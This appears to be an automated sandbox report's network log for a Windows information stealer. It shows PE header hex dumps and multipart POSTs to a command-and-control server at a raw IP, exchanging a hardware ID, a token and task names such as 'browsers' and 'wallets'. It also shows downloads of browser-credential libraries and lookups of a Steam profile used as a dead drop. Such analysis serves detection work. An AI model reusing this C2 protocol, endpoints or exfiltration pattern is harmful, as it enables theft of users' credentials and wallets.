d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:51 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:51 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:43:05 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Thu, 23 May 2024 15:43:59 GMTETag: "2ebe00-61920eb64fb2e"Accept-Ranges: bytesContent-Length: 3063296Content-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 8c 18 00 00 00 00 00 0c a0 2d 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 6e 00 00 04 00 00 8a c8 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 14 2e 00 2c 01 00 00 00 80 59 00 02 26 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 59 00 38 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 98 3c 00 18 00 00 00 10 50 59 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 2a 00 84 00 00 00 a0 ec 3b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c8 bb 15 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 32 7e 02 00 00 d0 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 30 49 00 00 00 50 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 c3 a9 10 c2 a5 29 12 00 00 a0 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 76 6d 70 c3 a9 10 c2 88 05 00 00 00 d0 2a 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 c3 a9 10 c2 e0 77 2e 00 00 e0 2a 00 00 78 2e 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 38 1a 00 00 00 60 59 00 00 1c 00 00 00 82 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 02 26 15 00 00 80 59 00 00 20 00 00 00 9e 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199689717899 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEHJJDAAAKEBGCFCAAHost: 185.172.128.170Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 37 38 41 31 32 34 36 33 33 42 33 30 32 33 30 31 31 38 35 39 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 2d 2d 0d 0a Data Ascii: ------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="hwid"1A78A124633B3023011859------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="build"default11------GHJEHJJDAAAKEBGCFCAA--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJEHost: 185.172.128.170Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------DBAEGCGCGIEGDHIDHJJEContent-Disposition: form-data; name="message"browsers------DBAEGCGCGIEGDHIDHJJE--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECBHost: 185.172.128.170Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 2d 2d 0d 0a Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="message"plugins------GCGDGHCBGDHJJKECAECB--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFBFBAAKECFIEBFIECHost: 185.172.128.170Content-Length: 6691Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/sqlite3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 185.172.128.170Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEGCGCGIEGDHIDHJJEHost: 185.172.128.170Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFHost: 185.172.128.170Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="file"------EBGDAAKJJDAAKFHJKJKF--
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHCGDBFCBAKECBKKEBHost: 185.172.128.170Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 48 43 47 44 42 46 43 42 41 4b 45 43 42 4b 4b 45 42 2d 2d 0d 0a Data Ascii: ------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------KJEHCGDBFCBAKECBKKEBContent-Disposition: form-data; name="file"------KJEHCGDBFCBAKECBKKEB--
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/freebl3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/mozglue.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/msvcp140.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/nss3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/softokn3.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /8420e83ceb95f3af/vcruntime140.dll HTTP/1.1Host: 185.172.128.170Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFCHost: 185.172.128.170Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /7043a0c6a68d9c65.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBKHost: 185.172.128.170Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 66 36 66 39 63 65 30 63 33 32 62 35 66 32 32 38 62 62 65 32 61 66 31 38 33 38 65 35 62 62 34 64 31 37 30 33 30 39 62 62 32 38 32 35 31 39 62 31 34 61 37 35 30 61 63 30 30 63 34 36 33 63 34 39 61 33 33 62 63 65 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="token"ff6f9ce0c32b5f228bbe2af1838e5bb4d170309bb282519b14a750ac00c463c49a33bceb------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="message"wallets------GHJDGDBFCBKFHJKFHCBK--
